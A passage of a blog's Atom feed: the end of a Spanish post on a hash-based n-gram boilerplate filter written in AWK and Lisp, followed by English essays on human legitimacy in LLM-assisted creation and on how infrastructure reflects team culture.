&lt;p&gt;Las tres propiedades juntas son lo que hace que un pipeline pueda transferirse a otro problema, a otro corpus o a otro operador sin reescribirse desde cero. Sin inducción el modelo es frágil. Sin validación el modelo es opaco. Sin obfuscación el pipeline no puede operar en contextos sensibles.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;la-implementacion-rutinas-encapsuladas&quot;&gt;La implementación: rutinas encapsuladas&lt;&#x2F;h3&gt;
&lt;p&gt;El código sigue el mismo principio que el problema: cada rutina hace una cosa y expone una interfaz clara. El hash es una rutina. La extracción de n-gramas es una rutina. La decisión de frecuencia es una rutina. La clasificación de línea es una rutina. Ninguna mezcla responsabilidades con otra.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Script completo: construir el modelo&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;awk&quot; class=&quot;language-awk &quot;&gt;&lt;code class=&quot;language-awk&quot; data-lang=&quot;awk&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;awk -f
# build_template.awk

function ord(c) {
    return index(&amp;quot; !\&amp;quot;#$%&amp;amp;&amp;#x27;()*+,-.&amp;#x2F;0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~&amp;quot;, c) + 31
}

function hash_ngrama(s,    h, i) {
    h = 5381
    for (i = 1; i &amp;lt;= length(s); i++)
        h = (h * 31 + ord(substr(s, i, 1))) % 4294967296
    return h
}

function registrar_linea(linea, archivo, n,    i, h) {
    if (lineas_vistas[linea]) return
    lineas_vistas[linea] = 1
    for (i = 1; i &amp;lt;= length(linea) - n + 1; i++) {
        h = hash_ngrama(substr(linea, i, n))
        if (!visto[archivo, h]) {
            visto[archivo, h] = 1
            freq_archivos[h]++
        }
    }
}

function emitir_plantilla(umbral,    h) {
    for (h in freq_archivos)
        if (freq_archivos[h] &amp;gt;= umbral) print h
}

BEGIN { n = 4; umbral_archivos = 0.8 }
FNR == 1 { archivo_actual = FILENAME; delete lineas_vistas }
length($0) &amp;gt;= n { registrar_linea($0, archivo_actual, n) }
END { emitir_plantilla((ARGC - 1) * umbral_archivos) }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;MUESTRA=$(ls dumps&amp;#x2F;*.txt | shuf | head -n 20)
awk -f build_template.awk $MUESTRA &amp;gt; plantilla_obfuscated.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Script completo: filtrar&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;awk&quot; class=&quot;language-awk &quot;&gt;&lt;code class=&quot;language-awk&quot; data-lang=&quot;awk&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;awk -f
# filter_content.awk

function ord(c) {
    return index(&amp;quot; !\&amp;quot;#$%&amp;amp;&amp;#x27;()*+,-.&amp;#x2F;0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~&amp;quot;, c) + 31
}

function hash_ngrama(s,    h, i) {
    h = 5381
    for (i = 1; i &amp;lt;= length(s); i++)
        h = (h * 31 + ord(substr(s, i, 1))) % 4294967296
    return h
}

function score_linea(linea, n,    total, matches, i, h) {
    total = 0; matches = 0
    for (i = 1; i &amp;lt;= length(linea) - n + 1; i++) {
        total++
        h = hash_ngrama(substr(linea, i, n))
        if (plantilla[h]) matches++
    }
    if (total == 0) return 0
    return matches &amp;#x2F; total
}

BEGIN {
    n = 4; umbral_score = 0.5
    while (getline &amp;lt; &amp;quot;plantilla_obfuscated.txt&amp;quot;) plantilla[$0] = 1
    close(&amp;quot;plantilla_obfuscated.txt&amp;quot;)
}
{ if (score_linea($0, n) &amp;lt; umbral_score) print }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;awk -f filter_content.awk archivo.txt | cat -s &amp;gt; archivo_limpio.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;la-maquina-de-estados-en-lisp&quot;&gt;La máquina de estados en Lisp&lt;&#x2F;h3&gt;
&lt;p&gt;El procesamiento de caracteres vive en AWK. La máquina de estados que razona sobre regiones del documento vive en Lisp. La división es por responsabilidad, no por preferencia de lenguaje. AWK no razona sobre estructura posicional. Lisp no procesa caracteres. Cada herramienta en su dominio.&lt;&#x2F;p&gt;
&lt;p&gt;AWK produce líneas anotadas con su score. Lisp consume esa secuencia, mantiene estado y decide qué hacer con cada línea según dónde está en el documento.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lisp&quot; class=&quot;language-lisp &quot;&gt;&lt;code class=&quot;language-lisp&quot; data-lang=&quot;lisp&quot;&gt;;; state-machine.lisp

(defparameter *umbral-boilerplate* 0.5)

(defun clasificar-linea (score estado)
  (cond
    ((and (eq estado :cabecera) (&amp;lt; score *umbral-boilerplate*))
     (values :contenido :cuerpo))
    ((and (eq estado :cuerpo) (&amp;gt; score *umbral-boilerplate*))
     (values :plantilla :pie))
    ((eq estado :pie)
     (values :ignorar :pie))
    (t
     (values :contenido estado))))

(defun procesar-archivo (lineas)
  (let ((estado :cabecera)
        (resultado &amp;#x27;()))
    (dolist (linea lineas)
      (let ((score (car linea))
            (texto (cdr linea)))
        (multiple-value-bind (clasificacion nuevo-estado)
            (clasificar-linea score estado)
          (setf estado nuevo-estado)
          (when (eq clasificacion :contenido)
            (push texto resultado)))))
    (nreverse resultado)))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;lo-que-esto-generaliza&quot;&gt;Lo que esto generaliza&lt;&#x2F;h3&gt;
&lt;p&gt;El método no es específico a dumps de &lt;code&gt;w3m&lt;&#x2F;code&gt;. Cualquier corpus donde un subconjunto de texto se repite entre documentos con alta frecuencia tiene una plantilla implícita que este pipeline puede extraer. Foros, repositorios de documentación, exportaciones de CMS, logs con cabeceras fijas.&lt;&#x2F;p&gt;
&lt;p&gt;Los parámetros que cambian son dos: el umbral de frecuencia para construir el modelo y el umbral de score por línea para el filtrado. La arquitectura no cambia. La obfuscación por hash no cambia. La máquina de estados cambia solo en las transiciones, no en la estructura.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;contexto-academico&quot;&gt;Contexto académico&lt;&#x2F;h3&gt;
&lt;p&gt;El método GRABEX (Graph-Based Block Extraction, 2007) opera sobre el mismo principio aplicado a HTML: los bloques que se repiten con alta frecuencia entre páginas son plantilla; los que varían son contenido. GRABEX usa atributos CSS y grafos de enlaces porque tiene HTML. Aquí no lo hay. El principio es el mismo, el sustrato es distinto.&lt;&#x2F;p&gt;
&lt;p&gt;Gélinas llegó al mismo lugar desde el texto plano en 1997. Que la solución a un problema de 2025 viva en un paper de hace casi treinta años no es nostalgia. Es que el problema no cambió.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;estado-actual&quot;&gt;Estado actual&lt;&#x2F;h3&gt;
&lt;p&gt;El modelo está construido y validado sobre el corpus completo. 148 archivos, 178031 líneas en bruto, 16085 conservadas después del filtrado. Cobertura promedio 0.93, varianza 0.19, estabilidad del modelo 0.98. &lt;code&gt;validate_auto.sh&lt;&#x2F;code&gt; produce PASS con código de salida 0.&lt;&#x2F;p&gt;
&lt;p&gt;El proceso de llegar ahí no fue lineal. La primera propuesta de muestra usaba 20 archivos y producía resultados conservadores. Subir a 100 no mejoró la estabilidad del modelo pero sí preservó más contenido. Los umbrales del validador automático requirieron calibración: &lt;code&gt;COBERTURA_MAX&lt;&#x2F;code&gt; y &lt;code&gt;VARIANZA_MAX&lt;&#x2F;code&gt; estaban ajustados a valores genéricos que no reflejaban la distribución real de este corpus. Los datos corrigieron los umbrales, no al revés.&lt;&#x2F;p&gt;
&lt;p&gt;La versión obfuscada corre sobre el mismo modelo. Los archivos de salida tienen nombres hasheados con SHA256. El modelo es un archivo de enteros. El índice que mapea hash a nombre original es opcional y descartable. El operador puede construir, validar y aplicar el pipeline sin leer el contenido.&lt;&#x2F;p&gt;
&lt;p&gt;El &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;lf3&#x2F;ngram-boilerplate-filter&quot;&gt;repo está en GitLab&lt;&#x2F;a&gt;. con los ocho scripts, el README y el &lt;code&gt;.gitignore&lt;&#x2F;code&gt;. Sin datos, sin modelos, sin índice.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;reverse-graffiti3.png&quot; alt=&quot;Paul Curtis Moose 3&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Reverse graffiti. No agregar. Remover.&lt;&#x2F;p&gt;
&lt;p&gt;Este post no cuenta solo cómo funciona el pipeline. Cuenta cómo se llegó a él. Hubo propuestas. Hubo descarte. Lo que quedó después del filtrado es lo que estás leyendo.&lt;&#x2F;p&gt;
&lt;p&gt;A veces el criterio para descartar es la herramienta más difícil de encausar.&lt;&#x2F;p&gt;
&lt;p&gt;Lavand llegó al escenario con un modelo construido en el laboratorio. Catorce cartas, catorce versos de Lope de Vega, cada posición mapeada a la siguiente hasta que dejó de ser memoria y se volvió ejecución. En escena no improvisaba: corría la secuencia. El output parecía milagro porque el modelo era invisible.&lt;&#x2F;p&gt;
&lt;p&gt;El pipeline también requirió laboratorio. Hubo umbrales que fallaron, muestras que se ajustaron, métricas que calibramos contra los datos reales hasta que el validador dijo PASS. Nada de eso aparece en los scripts. Lo que quedó después del proceso &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;lf3&#x2F;ngram-boilerplate-filter&quot;&gt;es lo que está en el repo&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Production in the Post-Human Era</title>
        <published>2026-02-09T00:00:00+00:00</published>
        <updated>2026-02-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/post-human-production/"/>
        <id>https://lf3.gitlab.io/blog/post-human-production/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/post-human-production/">&lt;h3 id=&quot;tales-and-tensions-of-sharing-the-privilege-of-creation&quot;&gt;Tales and tensions of sharing the privilege of creation&lt;&#x2F;h3&gt;
&lt;p&gt;In a music history seminar years ago, discussing post-war contemporary composition, the professor laid out a problem that still sits with me: after conceptual art broke everything open, after &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Fountain_(Duchamp)&quot;&gt;Duchamp’s urinal&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;4%E2%80%B233%E2%80%B3&quot;&gt;Cage’s 4’33“&lt;&#x2F;a&gt;, the old rules stopped working. You couldn’t point to formal training, mastery of technique or adherence to established forms and say “this is music, that is not.”&lt;&#x2F;p&gt;
&lt;p&gt;Two things happened in response.&lt;&#x2F;p&gt;
&lt;p&gt;First: the rules of the game got established per work, not per movement. You couldn’t subscribe to a style that would carry you for decades. Each piece had to argue for its own coherence on its own terms.&lt;&#x2F;p&gt;
&lt;p&gt;Second: art became whatever the artist declared it to be. But that immediately raised the harder question: who gets to be an artist?&lt;&#x2F;p&gt;
&lt;p&gt;To achieve relevance for academia and critics, at least two requirements were added to the established canon. Beyond the joy of creation and the pursuit of beauty, artists had to think critically about why they were doing what they were doing. Playing 400-year-old operas in the 21st century might be complex, beautiful, culturally valuable work, but if you’re not pushing against something, if there’s no critical friction, you’re performing, not creating.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Gy%C3%B6rgy_Ligeti&quot;&gt;Ligeti&lt;&#x2F;a&gt; was active throughout the late 1950s, teaching, studying and composing, but his work gained little international recognition. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.universaledition.com&#x2F;en&#x2F;Atmospheres&#x2F;P0006872&quot;&gt;Atmosphères&lt;&#x2F;a&gt; (1961) emerged after nearly 15 years of foundation-building: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.bbc.co.uk&#x2F;programmes&#x2F;articles&#x2F;1g0V6ct5YLSDkW8W5zJ5rQv&#x2F;gyorgy-ligeti-1923-2006&quot;&gt;rigorous training at Budapest Academy&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kylegann.com&#x2F;Ligeti.html&quot;&gt;time at Cologne’s electronic studio with Stockhausen&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.oxfordmusiconline.com&#x2F;grovemusic&#x2F;abstract&#x2F;10.1093&#x2F;gmo&#x2F;9781561592630.001.0001&#x2F;omo-9781561592630-e-0000016642&quot;&gt;deep engagement with contrapuntal traditions&lt;&#x2F;a&gt; from Renaissance polyphony to Bartók. When it premiered at Donaueschingen, the audience demanded an immediate repeat performance. That breakthrough wasn’t accidental. It was the culmination of years of work that finally made his peers listen.&lt;&#x2F;p&gt;
&lt;p&gt;Subtly addressing the second requirement was the infrastructure of legitimacy: education, study and peer recognition. But conceptual art’s democratization didn’t eliminate barriers; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.artsy.net&#x2F;article&#x2F;artsy-editorial-gatekeepers-tastemakers-decide-call-art&quot;&gt;it redistributed them&lt;&#x2F;a&gt;. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;curatorsintl.org&#x2F;journal&#x2F;25392-curators-community-and-institutional-relevance&quot;&gt;Museums, critics, curators and academic institutions became more central&lt;&#x2F;a&gt;, not less. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.theartstory.org&#x2F;movement&#x2F;institutional-critique&#x2F;&quot;&gt;Conceptual art shifted legitimacy&lt;&#x2F;a&gt; away from craft and toward discourse, positioning and institutional framing. This opened space for radical experimentation, but also for snobism, self-proclamation and opaque gatekeeping. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;videomole.tv&#x2F;projects&#x2F;politics-of-art&#x2F;one-institutionalised-critique&#x2F;&quot;&gt;Claims of artistic status&lt;&#x2F;a&gt; were no longer grounded primarily in technique, but in proximity to cultural power and the ability to operate within elite interpretive frameworks. At the same time, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Avant-garde#Theory_of_the_avant-garde&quot;&gt;mass culture absorbed and neutralized&lt;&#x2F;a&gt; many of these gestures, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;brooklynrail.org&#x2F;2024&#x2F;03&#x2F;art-technology&#x2F;Art-Media-and-Two-Centuries-of-Avant-Garde-Efforts-In-2-Parts&#x2F;&quot;&gt;turning provocation into style&lt;&#x2F;a&gt; and critique into commodity.&lt;&#x2F;p&gt;
&lt;p&gt;Here’s the thought experiment that came up and stuck with me from that class: imagine divine intervention overnight grants you the knowledge and creativity to produce the most disruptive, intelligent, compelling musical works anyone has ever heard. If you don’t have the background, the study, the critical framework to contextualize it, if you haven’t built the peer relationships that make your work legible to the community, it doesn’t matter. The work dies on arrival. Not because it’s bad, but because legitimacy is relational, not intrinsic. It’s &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;artforum.com&#x2F;features&#x2F;from-the-critique-of-institutions-to-an-institution-of-critique-172201&#x2F;&quot;&gt;network validation&lt;&#x2F;a&gt;, not an individual act.&lt;&#x2F;p&gt;
&lt;p&gt;The same rhetorical exercise applies to other disciplines now.&lt;&#x2F;p&gt;
&lt;p&gt;Fast forward to 2026. Anyone with internet access can generate working code in seconds. Blog posts, movie cuts, entire kernels, version control systems, compilers. The output is often correct, sometimes elegant, occasionally brilliant. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;youtube.com&#x2F;@Gossip.Goblin&quot;&gt;Gossip.Goblin&lt;&#x2F;a&gt; crafts &lt;em&gt;sci-fi stories scripted from the human brain, curated through vision and rendered by the machine&lt;&#x2F;em&gt;. Built on the imaginary foundation of &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zacks.gallery&#x2F;illustrations&quot;&gt;Zack London’s prior illustration work&lt;&#x2F;a&gt;. The tools are democratized in a way that would have seemed like science fiction five years ago.&lt;&#x2F;p&gt;
&lt;p&gt;So a considerable language model enters a bar, handing you a post-quantum kernel hardened against cryptographic collapse and a version control system that reconciles commits from futures that haven’t branched yet, merging timelines across parallel execution universes. Without decades of systems programming, without the community that recognized judgment on architectural decisions, without the credibility earned through years of public technical arguments, it’s just code. It might compile. It might even run. But no one’s going to use it, fork it, build on it or trust it in production. This isn’t hypothetical posturing; it’s an observation about how technical communities actually work.&lt;&#x2F;p&gt;
&lt;p&gt;The same question again: who gets to call themselves a programmer, a writer or an artist now?&lt;&#x2F;p&gt;
&lt;p&gt;Akin to conceptual art, the old markers still exist: formal education, years of production experience, deep knowledge of internals. Yet they are no longer sufficient, and in some contexts no longer necessary. Novice engineers can ship features that a decade ago would have taken experts days to build. The code works. The tests pass. It runs in production.&lt;&#x2F;p&gt;
&lt;p&gt;The first filter from the art world maps cleanly: there is conscious thinking about what is being built. Not just “does it work,” but “should this exist, what does it enable, what does it foreclose?” The language model can generate the implementation, but it can’t tell you whether the thing you’re building is worth building. That requires context, judgment, an understanding of second-order effects.&lt;&#x2F;p&gt;
&lt;p&gt;This capacity for critical consciousness may be our last privilege. The model produces artifacts with inhuman speed and often impressive quality. But the question of value, of purpose, of consequence still lives with us. For now. Consciousness about means and ends, about why we build what we build and who it serves, remains the domain where human judgment can’t be delegated. Not because the tools are incapable in principle, but because the question itself demands a stance, a set of values, a position in the world that only beings with skin in the game can occupy. The privilege of creation is no longer ours alone. The privilege of consciousness, of reasoning about what should exist, may be our last bastion.&lt;&#x2F;p&gt;
&lt;p&gt;What’s the equivalent of peer recognition for code in the LLM era? GitHub stars? Production uptime? Economic survival with a fraction of the effort? The ability to debug the generated artifact when it inevitably breaks in ways the model didn’t anticipate? Or is it something we haven’t named yet, some new form of infrastructure legitimacy that’s still being negotiated?&lt;&#x2F;p&gt;
&lt;p&gt;The uncomfortable part is realizing that legitimacy in this new regime isn’t about the artifacts you produce. It’s about the frameworks you bring to evaluating those artifacts, the critical distance you maintain from the tools and the peer community that recognizes your judgment as sound.&lt;&#x2F;p&gt;
&lt;p&gt;The LLM writes you a beautiful piece of code, asynchronous workers in an exponential backoff and dead letter handling choreography.
Does it work? Sure. But do you know why it chose this backpressure strategy over rate limiting? Can you explain the tradeoffs to your team? Can you debug it when managed queue services starts throttling your calls and the logs don’t tell you why?&lt;&#x2F;p&gt;
&lt;p&gt;You can’t skip the foundation building. Even if the LLM hands you the most elegant solution to a problem, if you don’t have the context to know why it’s elegant, why it’s better than the alternatives, what it costs in maintainability or observability or security, the gap between artifact and understanding remains unbridged.&lt;&#x2F;p&gt;
&lt;p&gt;If this is a call for silence, I should stop writing now. It’s an observation about how legitimacy gets constructed in fields where the barrier to entry drops suddenly and dramatically. The output becomes table stakes. What matters is everything around the output: the thinking, the context, the ability to explain not just what you built but why it matters and what it changes.&lt;&#x2F;p&gt;
&lt;p&gt;There’s a pragmatic difference here worth acknowledging. Art operates with different constraints than design. The latter responds to pragmatic industry requirements: legibility, communication, function. Visual art doesn’t have to. A broken painting might still be beautiful; broken code doesn’t pay for lunch. This affects how we think about craft, utility and the relationship between maker and artifact.&lt;&#x2F;p&gt;
&lt;p&gt;Ligeti’s years of preparation weren’t wasted. They were the price of having something to say when he finally spoke. I don’t think we’re in for years of preparation before the field sorts itself out, but I do think we’re in for a period of figuring out what counts, who counts and why. The tools changed overnight. The legitimacy structures didn’t.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Joseph_Beuys&quot;&gt;Joseph Beuys&lt;&#x2F;a&gt; declared that &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikiquote.org&#x2F;wiki&#x2F;Joseph_Beuys&quot;&gt;every human being is an artist&lt;&#x2F;a&gt;, a freedom being called to participate in transforming society through creative acts. It’s a beautiful, radically democratic idea and it’s more urgent than ever.&lt;&#x2F;p&gt;
&lt;p&gt;A friend once told me: “Que el carpintero traiga mesas.” Let the carpenter bring tables. Sooner or later, someone will ask not only what you built, but why it matters, what it costs and who has to sit on the chairs.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Infrasculture</title>
        <published>2026-02-03T00:00:00+00:00</published>
        <updated>2026-02-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/infrasculture/"/>
        <id>https://lf3.gitlab.io/blog/infrasculture/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/infrasculture/">&lt;p&gt;&lt;em&gt;Thoughts on what infrastructure accidentally reveals about teams.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;strong&gt;Infrasculture&lt;&#x2F;strong&gt; &lt;em&gt;(&#x2F;ˈɪn.frəˌskʌl.tʃər&#x2F;)&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;
&lt;em&gt;n.&lt;&#x2F;em&gt; [Neologism. Portmanteau of &lt;strong&gt;Infra-&lt;&#x2F;strong&gt; (from Latin &lt;em&gt;infra&lt;&#x2F;em&gt;, ‘below, underneath’), &lt;strong&gt;Sculpture&lt;&#x2F;strong&gt; (from Latin &lt;em&gt;sculpere&lt;&#x2F;em&gt;, ‘to carve or shape’), and &lt;strong&gt;Culture&lt;&#x2F;strong&gt; (from Latin &lt;em&gt;cultura&lt;&#x2F;em&gt;, ‘cultivation, practice’)].&lt;&#x2F;p&gt;
&lt;p&gt;The set of values, beliefs, and implicit priorities that become &lt;strong&gt;concretely encoded&lt;&#x2F;strong&gt; and permanently hardened within a technical infrastructure. It posits that infrastructure is not culturally neutral but is the &lt;strong&gt;intangible artifact&lt;&#x2F;strong&gt; of a team’s unexamined fears, trade-offs, and ideological choices, sculpted into the substrate of systems through code, configuration, and architectural patterns.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;infrasculture-is-revealed-in-what-you-normalize&quot;&gt;Infrasculture is revealed in what you normalize&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;“This is just a prototype”&lt;&#x2F;strong&gt; that is never rewritten: Culture of the “permanent temporary.” Value: today’s speed matters more than tomorrow’s debt.&lt;&#x2F;p&gt;
&lt;p&gt;On one team, a deployment script written in 2018 as a “temporary fix until we migrate to Kubernetes” was still running production deploys for 50+ services. No one touched it because “it works.” That’s not pragmatism. That’s normalized technical debt as a cultural value.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Documentation trapped in a senior’s mind&lt;&#x2F;strong&gt;: Culture of knowledge as power. Value: system resilience is less important than personal indispensability.&lt;&#x2F;p&gt;
&lt;p&gt;A past project revealed a team that lost 2 weeks of deployment capability when one engineer left. All Terraform state lived in their head. No runbooks. No diagrams. When asked why nothing was documented, the answer was always “I’ll get to it.” They never did. The infrastructure worked fine. The culture was fragile.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The deployment script only one person understands&lt;&#x2F;strong&gt;: Culture of the heroic individual. Value: team efficiency is sacrificial.&lt;&#x2F;p&gt;
&lt;p&gt;There was a senior who would be paged at 3 AM because only they knew how to restart a particular service. When management suggested documenting the process, the response was “it’s complicated.” It wasn’t. It was &lt;code&gt;systemctl restart&lt;&#x2F;code&gt;. But heroism was more valuable than redundancy.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;do-not-ask-about-the-architecture-ask-about-the-fear&quot;&gt;Do not ask about the architecture. Ask about the fear&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Do you fear slowness more than chaos? Your Infrasculture will be fast and fragile.&lt;&#x2F;li&gt;
&lt;li&gt;Do you fear change more than obsolescence? Your Infrasculture will be rigid and monolithic.&lt;&#x2F;li&gt;
&lt;li&gt;Do you fear accountability more than opacity? Your Infrasculture will be a black box.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Your technology stack is a technical answer to a cultural fear.&lt;&#x2F;p&gt;
&lt;p&gt;I worked on a system that had 7 layers of caching because “the database might be slow.” The database was never slow. But someone, years ago, feared it might be. That fear became architecture. The architecture became normal. Removing any cache layer was treated as reckless, even though none of them provided measurable value.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;the-material-is-not-neutral&quot;&gt;The material is not neutral&lt;&#x2F;h2&gt;
&lt;p&gt;Choosing an ecosystem (AWS, Kubernetes, serverless) is not just choosing a tool. It is choosing a &lt;strong&gt;belief system&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kubernetes&lt;&#x2F;strong&gt; believes in total abstraction, portability, and managed complexity.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Serverless&lt;&#x2F;strong&gt; believes in surrendering control for operational simplicity.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;On-premise&lt;&#x2F;strong&gt; believes in absolute sovereignty, even at the cost of elasticity.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Your Infrasculture is, first, faith in a particular worldview. Then, it is code.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve seen teams choose Kubernetes not because they needed orchestration, but because “that’s what real engineering teams use.” The workload was 3 stateless services that could have run on a single VM. But the cultural belief was “sophisticated infrastructure signals sophisticated engineering.” So they chose complexity as a status symbol.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;the-ultimate-test&quot;&gt;The ultimate test&lt;&#x2F;h2&gt;
&lt;p&gt;Real Infrasculture is not visible in the architecture diagram. It is visible in what happens &lt;strong&gt;when everything fails at 3 AM&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Do you &lt;strong&gt;execute a runbook&lt;&#x2F;strong&gt; or &lt;strong&gt;begin a witch hunt&lt;&#x2F;strong&gt;?&lt;&#x2F;li&gt;
&lt;li&gt;Do you &lt;strong&gt;consult the dashboards&lt;&#x2F;strong&gt; or &lt;strong&gt;the Slack channel&lt;&#x2F;strong&gt;?&lt;&#x2F;li&gt;
&lt;li&gt;Do you &lt;strong&gt;check the logs&lt;&#x2F;strong&gt; or &lt;strong&gt;page the person&lt;&#x2F;strong&gt;?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Panic does not create culture. It &lt;strong&gt;reveals&lt;&#x2F;strong&gt; it. And what it reveals was already inscribed, line by line, in your infrastructure.&lt;&#x2F;p&gt;
&lt;p&gt;One outage seared into memory began not with the question “what failed” but “who deployed last.” The runbook existed. The dashboards showed the root cause clearly (disk full on a logging node). But the team’s instinct was to find someone to blame. That’s culture. And it was encoded in how they built observability: metrics existed, but no one trusted them more than human intuition and finger-pointing.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;in-essence&quot;&gt;In essence&lt;&#x2F;h2&gt;
&lt;p&gt;Infrasculture is the answer to the question: &lt;strong&gt;What did you believe in when you weren’t thinking about believing in anything?&lt;&#x2F;strong&gt; It is the unexamined byproduct of every “practical” technical decision.&lt;&#x2F;p&gt;
&lt;p&gt;Your Git repository is not just a code history. It is the &lt;strong&gt;archaeological record of your technical culture.&lt;&#x2F;strong&gt; Every commit is a fossil of a priority, a shortcut, a fear, a value.&lt;&#x2F;p&gt;
